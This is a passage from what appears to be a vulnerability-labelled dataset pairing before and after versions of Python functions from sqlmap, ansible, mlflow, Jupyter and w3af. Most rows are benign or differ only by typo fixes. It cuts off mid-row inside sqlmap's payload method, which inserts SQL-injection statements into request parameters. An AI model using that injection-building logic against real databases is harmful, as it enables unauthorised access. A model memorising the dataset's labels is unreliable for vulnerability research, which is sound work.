    if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
        errMsg = ""value for option '--tor-port' must be in range [0, 65535]""
        raise SqlmapSyntaxException(errMsg)

    if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
        errMsg = ""option '--tor-type' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(PROXY_TYPE, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True):
        errMsg = ""option '--dump-format' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(DUMP_FORMAT, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.skip and conf.testParameter:
        if intersect(conf.skip, conf.testParameter):
            errMsg = ""option '--skip' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.rParam and conf.testParameter:
        if intersect(conf.rParam, conf.testParameter):
            errMsg = ""option '--randomize' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.mobile and conf.agent:
        errMsg = ""switch '--mobile' is incompatible with option '--user-agent'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.ignoreProxy:
        errMsg = ""option '--proxy' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.alert and conf.alert.startswith('-'):
        errMsg = ""value for option '--alert' must be valid operating system command(s)""
        raise SqlmapSyntaxException(errMsg)

    if conf.timeSec < 1:
        errMsg = ""value for option '--time-sec' must be a positive integer""
        raise SqlmapSyntaxException(errMsg)

    if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar):
        errMsg = ""value for option '--union-char' must be an alpha-numeric value (e.g. 1)""
        raise SqlmapSyntaxException(errMsg)

    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
        errMsg = ""option '--crack' should be used as a standalone""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.uCols, six.string_types):
        if not conf.uCols.isdigit() and (""-"" not in conf.uCols or len(conf.uCols.split(""-"")) != 2):
            errMsg = ""value for option '--union-cols' must be a range with hyphon ""
            errMsg += ""(e.g. 1-10) or integer value (e.g. 5)""
            raise SqlmapSyntaxException(errMsg)

    if conf.dbmsCred and ':' not in conf.dbmsCred:
        errMsg = ""value for option '--dbms-cred' must be in ""
        errMsg += ""format <username>:<password> (e.g. \""root:pass\"")""
        raise SqlmapSyntaxException(errMsg)

    if conf.encoding:
        _ = checkCharEncoding(conf.encoding, False)
        if _ is None:
            errMsg = ""unknown encoding '%s'. Please visit "" % conf.encoding
            errMsg += ""'%s' to get the full list of "" % CODECS_LIST_PAGE
            errMsg += ""supported encodings""
            raise SqlmapSyntaxException(errMsg)
        else:
            conf.encoding = _

    if conf.loadCookies:
        if not os.path.exists(conf.loadCookies):
            errMsg = ""cookies file '%s' does not exist"" % conf.loadCookies
            raise SqlmapFilePathException(errMsg)",,sqlmapproject/sqlmap,c3a6b71023c03b4b40072cc3221eb051345e7060,"def _basicOptionValidation():
    if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
        errMsg = ""value for option '--start' (limitStart) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0):
        errMsg = ""value for option '--stop' (limitStop) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5):
        errMsg = ""value for option '--level' must be an integer value from range [1, 5]""
        raise SqlmapSyntaxException(errMsg)

    if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3):
        errMsg = ""value for option '--risk' must be an integer value from range [1, 3]""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
       isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
        warnMsg = ""usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable""
        logger.warn(warnMsg)

    if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
       isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
        errMsg = ""value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option""
        raise SqlmapSyntaxException(errMsg)

    if conf.textOnly and conf.nullConnection:
        errMsg = ""switch '--text-only' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.eta and conf.verbose > defaults.verbose:
        errMsg = ""switch '--eta' is incompatible with option '-v'""
        raise SqlmapSyntaxException(errMsg)

    if conf.secondUrl and conf.secondReq:
        errMsg = ""option '--second-url' is incompatible with option '--second-req')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.url:
        errMsg = ""option '-d' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.dbms:
        errMsg = ""option '-d' is incompatible with option '--dbms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.titles and conf.nullConnection:
        errMsg = ""switch '--titles' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.search:
        errMsg = ""switch '--dump' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
        errMsg = ""switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.api and not conf.configFile:
        errMsg = ""switch '--api' requires usage of option '-c'""
        raise SqlmapSyntaxException(errMsg)

    if conf.data and conf.nullConnection:
        errMsg = ""option '--data' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.nullConnection:
        errMsg = ""option '--string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.notString and conf.nullConnection:
        errMsg = ""option '--not-string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.osPwn:
        errMsg = ""option '--tor' is incompatible with switch '--os-pwn'""
        raise SqlmapSyntaxException(errMsg)

    if conf.noCast and conf.hexConvert:
        errMsg = ""switch '--no-cast' is incompatible with switch '--hex'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpAll and conf.search:
        errMsg = ""switch '--dump-all' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.notString:
        errMsg = ""option '--string' is incompatible with switch '--not-string'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp and conf.nullConnection:
        errMsg = ""option '--regexp' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp:
        try:
            re.compile(conf.regexp)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.regexp, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.paramExclude:
        try:
            re.compile(conf.paramExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.paramExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude:
        try:
            re.compile(conf.crawlExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.crawlExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.dumpAll:
        errMsg = ""switch '--dump' is incompatible with switch '--dump-all'""
        raise SqlmapSyntaxException(errMsg)

    if conf.predictOutput and (conf.threads > 1 or conf.optimize):
        errMsg = ""switch '--predict-output' is incompatible with option '--threads' and switch '-o'""
        raise SqlmapSyntaxException(errMsg)

    if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get(""skipThreadCheck""):
        errMsg = ""maximum number of used threads is %d avoiding potential connection issues"" % MAX_NUMBER_OF_THREADS
        raise SqlmapSyntaxException(errMsg)

    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
        errMsg = ""switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude and not conf.crawlDepth:
        errMsg = ""option '--crawl-exclude' requires usage of switch '--crawl'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safePost and not conf.safeUrl:
        errMsg = ""option '--safe-post' requires usage of option '--safe-url'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)):
        errMsg = ""option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeReqFile and any((conf.safeUrl, conf.safePost)):
        errMsg = ""option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfUrl and not conf.csrfToken:
        errMsg = ""option '--csrf-url' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfMethod and not conf.csrfToken:
        errMsg = ""option '--csrf-method' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfToken and conf.threads > 1:
        errMsg = ""option '--csrf-url' is incompatible with option '--threads'""
        raise SqlmapSyntaxException(errMsg)

    if conf.requestFile and conf.url and conf.url != DUMMY_URL:
        errMsg = ""option '-r' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.proxy:
        errMsg = ""option '-d' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.tor:
        errMsg = ""option '-d' is incompatible with switch '--tor'""
        raise SqlmapSyntaxException(errMsg)

    if not conf.technique:
        errMsg = ""option '--technique' can't be empty""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.ignoreProxy:
        errMsg = ""switch '--tor' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.proxy:
        errMsg = ""switch '--tor' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.proxyFile:
        errMsg = ""switch '--proxy' is incompatible with option '--proxy-file'""
        raise SqlmapSyntaxException(errMsg)

    if conf.checkTor and not any((conf.tor, conf.proxy)):
        errMsg = ""switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)""
        raise SqlmapSyntaxException(errMsg)

    if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
        errMsg = ""value for option '--tor-port' must be in range [0, 65535]""
        raise SqlmapSyntaxException(errMsg)

    if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
        errMsg = ""option '--tor-type' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(PROXY_TYPE, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True):
        errMsg = ""option '--dump-format' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(DUMP_FORMAT, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.skip and conf.testParameter:
        if intersect(conf.skip, conf.testParameter):
            errMsg = ""option '--skip' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.rParam and conf.testParameter:
        if intersect(conf.rParam, conf.testParameter):
            errMsg = ""option '--randomize' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.mobile and conf.agent:
        errMsg = ""switch '--mobile' is incompatible with option '--user-agent'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.ignoreProxy:
        errMsg = ""option '--proxy' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.alert and conf.alert.startswith('-'):
        errMsg = ""value for option '--alert' must be valid operating system command(s)""
        raise SqlmapSyntaxException(errMsg)

    if conf.timeSec < 1:
        errMsg = ""value for option '--time-sec' must be a positive integer""
        raise SqlmapSyntaxException(errMsg)

    if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar):
        errMsg = ""value for option '--union-char' must be an alpha-numeric value (e.g. 1)""
        raise SqlmapSyntaxException(errMsg)

    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
        errMsg = ""option '--crack' should be used as a standalone""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.uCols, six.string_types):
        if not conf.uCols.isdigit() and (""-"" not in conf.uCols or len(conf.uCols.split(""-"")) != 2):
            errMsg = ""value for option '--union-cols' must be a range with hyphon ""
            errMsg += ""(e.g. 1-10) or integer value (e.g. 5)""
            raise SqlmapSyntaxException(errMsg)

    if conf.dbmsCred and ':' not in conf.dbmsCred:
        errMsg = ""value for option '--dbms-cred' must be in ""
        errMsg += ""format <username>:<password> (e.g. \""root:pass\"")""
        raise SqlmapSyntaxException(errMsg)

    if conf.encoding:
        _ = checkCharEncoding(conf.encoding, False)
        if _ is None:
            errMsg = ""unknown encoding '%s'. Please visit "" % conf.encoding
            errMsg += ""'%s' to get the full list of "" % CODECS_LIST_PAGE
            errMsg += ""supported encodings""
            raise SqlmapSyntaxException(errMsg)
        else:
            conf.encoding = _

    if conf.loadCookies:
        if not os.path.exists(conf.loadCookies):
            errMsg = ""cookies file '%s' does not exist"" % conf.loadCookies
            raise SqlmapFilePathException(errMsg)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/lookup/first_found.py,0,"def _process_terms(self, terms, variables, kwargs):

        total_search = []
        skip = False

        # can use a dict instead of list item to pass inline config
        for term in terms:
            if isinstance(term, Mapping):
                self.set_options(var_options=variables, direct=term)
                files = self.get_option('files')
            elif isinstance(term, string_types):
                files = [term]
            elif isinstance(term, Sequence):
                partial, skip = self._process_terms(term, variables, kwargs)
                total_search.extend(partial)
                continue
            else:
                raise AnsibleLookupError(""Invalid term supplied, can handle string, mapping or list of strings but got: %s for %s"" % (type(term), term))

            paths = self.get_option('paths')

            # NOTE: this is used as 'global' but  can be set many times?!?!?
            skip = self.get_option('skip')

            # magic extra splitting to create lists
            filelist = _split_on(files, ',;')
            pathlist = _split_on(paths, ',:;')

            # create search structure
            if pathlist:
                for path in pathlist:
                    for fn in filelist:
                        f = os.path.join(path, fn)
                        total_search.append(f)
            elif filelist:
                # NOTE: this is now 'extend', previouslly it would clobber all options, but we deemed that a bug
                total_search.extend(filelist)
            else:
                total_search.append(term)

        return total_search, skip",,ansible/ansible,5812cabaf53a7c972c73a4e45faa57032e5c1186,"def _process_terms(self, terms, variables, kwargs):

        total_search = []
        skip = False

        # can use a dict instead of list item to pass inline config
        for term in terms:
            if isinstance(term, Mapping):
                self.set_options(var_options=variables, direct=term)
                files = self.get_option('files')
            elif isinstance(term, string_types):
                files = [term]
            elif isinstance(term, Sequence):
                partial, skip = self._process_terms(term, variables, kwargs)
                total_search.extend(partial)
                continue
            else:
                raise AnsibleLookupError(""Invalid term supplied, can handle string, mapping or list of strings but got: %s for %s"" % (type(term), term))

            paths = self.get_option('paths')

            # NOTE: this is used as 'global' but  can be set many times?!?!?
            skip = self.get_option('skip')

            # magic extra spliting to create lists
            filelist = _split_on(files, ',;')
            pathlist = _split_on(paths, ',:;')

            # create search structure
            if pathlist:
                for path in pathlist:
                    for fn in filelist:
                        f = os.path.join(path, fn)
                        total_search.append(f)
            elif filelist:
                # NOTE: this is now 'extend', previouslly it would clobber all options, but we deemed that a bug
                total_search.extend(filelist)
            else:
                total_search.append(term)

        return total_search, skip"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/__init__.py,0,"def can_score_model(self):
        """"""
        Check whether this flavor backend can be deployed in the current environment.

        :return: True if this flavor backend can be applied in the current environment.
        """"""
        pass",,mlflow/mlflow,40ef5afaee8ecf74b401ec1636759cab076ac9da,"def can_score_model(self):
        """"""
        Check whether this flavor backend can be deployed in the current environment.

        :return: True if this flavor backend can be applied int he current environment.
        """"""
        pass"
,UNKNOWN,UNKNOWN,notebook/tests/test_config_manager.py,1,"def test_json():
    tmpdir = tempfile.mkdtemp()
    try:
        root_data = dict(a=1, x=2, nest={'a':1, 'x':2})
        with open(os.path.join(tmpdir, 'foo.json'), 'w') as f:
            json.dump(root_data, f)
        # also make a foo.d/ directory with multiple json files
        os.makedirs(os.path.join(tmpdir, 'foo.d'))
        with open(os.path.join(tmpdir, 'foo.d', 'a.json'), 'w') as f:
            json.dump(dict(a=2, b=1, nest={'a':2, 'b':1}), f)
        with open(os.path.join(tmpdir, 'foo.d', 'b.json'), 'w') as f:
            json.dump(dict(a=3, b=2, c=3, nest={'a':3, 'b':2, 'c':3}, only_in_b={'x':1}), f)
        manager = BaseJSONConfigManager(config_dir=tmpdir, read_directory=False)
        data = manager.get('foo')
        assert 'a' in data
        assert 'x' in data
        assert 'b' not in data
        assert 'c' not in data
        assert data['a'] == 1
        assert 'x' in data['nest']
        # if we write it out, it also shouldn't pick up the subdirectory
        manager.set('foo', data)
        data = manager.get('foo')
        assert data == root_data

        manager = BaseJSONConfigManager(config_dir=tmpdir, read_directory=True)
        data = manager.get('foo')
        assert 'a' in data
        assert 'b' in data
        assert 'c' in data
        # files should be read in order foo.d/a.json foo.d/b.json foo.json
        assert data['a'] == 1
        assert data['b'] == 2
        assert data['c'] == 3
        assert data['nest']['a'] == 1
        assert data['nest']['b'] == 2
        assert data['nest']['c'] == 3
        assert data['nest']['x'] == 2

        # when writing out, we don't want foo.d/*.json data to be included in the root foo.json
        manager.set('foo', data)
        manager = BaseJSONConfigManager(config_dir=tmpdir, read_directory=False)
        data = manager.get('foo')
        assert data == root_data

    finally:
        shutil.rmtree(tmpdir)",CWE-703,jupyter/notebook,bd66c18b4f86bf81cb6f847ddd5492095ce6b6b9,"def test_json():
    tmpdir = tempfile.mkdtemp()
    try:
        root_data = dict(a=1, x=2, nest={'a':1, 'x':2})
        with open(os.path.join(tmpdir, 'foo.json'), 'w') as f:
            json.dump(root_data, f)
        # also make a foo.d/ directory with multiple json files
        os.makedirs(os.path.join(tmpdir, 'foo.d'))
        with open(os.path.join(tmpdir, 'foo.d', 'a.json'), 'w') as f:
            json.dump(dict(a=2, b=1, nest={'a':2, 'b':1}), f)
        with open(os.path.join(tmpdir, 'foo.d', 'b.json'), 'w') as f:
            json.dump(dict(a=3, b=2, c=3, nest={'a':3, 'b':2, 'c':3}, only_in_b={'x':1}), f)
        manager = BaseJSONConfigManager(config_dir=tmpdir, read_directory=False)
        data = manager.get('foo')
        assert 'a' in data
        assert 'x' in data
        assert 'b' not in data
        assert 'c' not in data
        assert data['a'] == 1
        assert 'x' in data['nest']
        # if we write it out, it also shouldn't pick up the subdirectoy
        manager.set('foo', data)
        data = manager.get('foo')
        assert data == root_data

        manager = BaseJSONConfigManager(config_dir=tmpdir, read_directory=True)
        data = manager.get('foo')
        assert 'a' in data
        assert 'b' in data
        assert 'c' in data
        # files should be read in order foo.d/a.json foo.d/b.json foo.json
        assert data['a'] == 1
        assert data['b'] == 2
        assert data['c'] == 3
        assert data['nest']['a'] == 1
        assert data['nest']['b'] == 2
        assert data['nest']['c'] == 3
        assert data['nest']['x'] == 2

        # when writing out, we don't want foo.d/*.json data to be included in the root foo.json
        manager.set('foo', data)
        manager = BaseJSONConfigManager(config_dir=tmpdir, read_directory=False)
        data = manager.get('foo')
        assert data == root_data

    finally:
        shutil.rmtree(tmpdir)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_handlers(self, settings):
        """"""Load the (URL pattern, handler) tuples for each component.""""""
        
        # Order matters. The first handler to match the URL will handle the request.
        handlers = []
        handlers.extend(load_handlers('tree.handlers'))
        handlers.extend([(r""/login"", settings['login_handler_class'])])
        handlers.extend([(r""/logout"", settings['logout_handler_class'])])
        handlers.extend(load_handlers('files.handlers'))
        handlers.extend(load_handlers('notebook.handlers'))
        handlers.extend(load_handlers('nbconvert.handlers'))
        handlers.extend(load_handlers('kernelspecs.handlers'))
        handlers.extend(load_handlers('edit.handlers'))
        handlers.extend(load_handlers('services.api.handlers'))
        handlers.extend(load_handlers('services.config.handlers'))
        handlers.extend(load_handlers('services.kernels.handlers'))
        handlers.extend(load_handlers('services.contents.handlers'))
        handlers.extend(load_handlers('services.sessions.handlers'))
        handlers.extend(load_handlers('services.nbconvert.handlers'))
        handlers.extend(load_handlers('services.kernelspecs.handlers'))
        handlers.extend(load_handlers('services.security.handlers'))
        handlers.extend(load_handlers('lab.handlers'))
        
        # BEGIN HARDCODED WIDGETS HACK
        # TODO: Remove on notebook 5.0
        widgets = None
        try:
            import widgetsnbextension
        except:
            try:
                import ipywidgets as widgets
                handlers.append(
                    (r""/nbextensions/widgets/(.*)"", FileFindHandler, {
                        'path': widgets.find_static_assets(),
                        'no_cache_paths': ['/'], # don't cache anything in nbextensions
                    }),
                )
            except:
                app_log.warning('Widgets are unavailable. Please install widgetsnbextension or ipywidgets 4.0')
        # END HARDCODED WIDGETS HACK
        
        handlers.append(
            (r""/nbextensions/(.*)"", FileFindHandler, {
                'path': settings['nbextensions_path'],
                'no_cache_paths': ['/'], # don't cache anything in nbextensions
            }),
        )
        handlers.append(
            (r""/custom/(.*)"", FileFindHandler, {
                'path': settings['static_custom_path'],
                'no_cache_paths': ['/'], # don't cache anything in custom
            })
        )
        # register base handlers last
        handlers.extend(load_handlers('base.handlers'))
        # set the URL that will be redirected from `/`
        handlers.append(
            (r'/?', web.RedirectHandler, {
                'url' : settings['default_url'],
                'permanent': False, # want 302, not 301
            })
        )

        # prepend base_url onto the patterns that we match
        new_handlers = []
        for handler in handlers:
            pattern = url_path_join(settings['base_url'], handler[0])
            new_handler = tuple([pattern] + list(handler[1:]))
            new_handlers.append(new_handler)
        # add 404 on the end, which will catch everything that falls through
        new_handlers.append((r'(.*)', Template404))
        return new_handlers",,jupyter/notebook,7695311668d200c35efc119942f4f2912edfe21d,"def init_handlers(self, settings):
        """"""Load the (URL pattern, handler) tuples for each component.""""""
        
        # Order matters. The first handler to match the URL will handle the request.
        handlers = []
        handlers.extend(load_handlers('tree.handlers'))
        handlers.extend([(r""/login"", settings['login_handler_class'])])
        handlers.extend([(r""/logout"", settings['logout_handler_class'])])
        handlers.extend(load_handlers('files.handlers'))
        handlers.extend(load_handlers('notebook.handlers'))
        handlers.extend(load_handlers('nbconvert.handlers'))
        handlers.extend(load_handlers('kernelspecs.handlers'))
        handlers.extend(load_handlers('edit.handlers'))
        handlers.extend(load_handlers('services.api.handlers'))
        handlers.extend(load_handlers('services.config.handlers'))
        handlers.extend(load_handlers('services.kernels.handlers'))
        handlers.extend(load_handlers('services.contents.handlers'))
        handlers.extend(load_handlers('services.sessions.handlers'))
        handlers.extend(load_handlers('services.nbconvert.handlers'))
        handlers.extend(load_handlers('services.kernelspecs.handlers'))
        handlers.extend(load_handlers('services.security.handlers'))
        handlers.extend(load_handlers('lab.handlers'))
        
        # BEGIN HARDCODED WIDGETS HACK
        widgets = None
        try:
            import ipywidgets as widgets
            handlers.append(
                (r""/nbextensions/widgets/(.*)"", FileFindHandler, {
                    'path': widgets.find_static_assets(),
                    'no_cache_paths': ['/'], # don't cache anything in nbextensions
                }),
            )
        except:
            app_log.warning('Widgets are unavailable. Please install widgetsnbextension or ipywidgets 4.0')
        # END HARDCODED WIDGETS HACK
        
        handlers.append(
            (r""/nbextensions/(.*)"", FileFindHandler, {
                'path': settings['nbextensions_path'],
                'no_cache_paths': ['/'], # don't cache anything in nbextensions
            }),
        )
        handlers.append(
            (r""/custom/(.*)"", FileFindHandler, {
                'path': settings['static_custom_path'],
                'no_cache_paths': ['/'], # don't cache anything in custom
            })
        )
        # register base handlers last
        handlers.extend(load_handlers('base.handlers'))
        # set the URL that will be redirected from `/`
        handlers.append(
            (r'/?', web.RedirectHandler, {
                'url' : settings['default_url'],
                'permanent': False, # want 302, not 301
            })
        )

        # prepend base_url onto the patterns that we match
        new_handlers = []
        for handler in handlers:
            pattern = url_path_join(settings['base_url'], handler[0])
            new_handler = tuple([pattern] + list(handler[1:]))
            new_handlers.append(new_handler)
        # add 404 on the end, which will catch everything that falls through
        new_handlers.append((r'(.*)', Template404))
        return new_handlers"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/grep/test_path_disclosure.py,0,"def _create_response(self, body):
        return HTTPResponse(200, body, self.header, self.url, self.url, _id=1)",,andresriancho/w3af,0eda347d18e310eb93ae1c34ad58211dbd7072c0,"def _create_response(self, body):
        return HTTPResponse(200, body, self.header, self.url, self.url, _id=1)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^""\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""&]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]
            match = re.search(r""([^;]+)=(?P<value>[^;]+);?\Z"", origValue)
            if match:
                origValue = match.group(""value"")
            elif ',' in paramString:
                header = paramString.split(',')[0]

                if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
                    origValue = origValue.split(' ')[-1].split(':')[-1]

        if conf.prefix:
            value = origValue

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not ""'%s'"" % _ in paramString:
                newValue = ""'%s'"" % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass

                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal

            if origValue:
                regex = r""(\A|\b)%s=%s%s"" % (re.escape(parameter), re.escape(origValue), r""(\Z|\b)"" if origValue[-1].isalnum() else """")
                retVal = _(regex, ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            else:
                retVal = _(r""(\A|\b)%s=%s(\Z|%s|%s|\s)"" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), ""%s=%s\g<2>"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            if retVal == paramString and urlencode(parameter) != parameter:
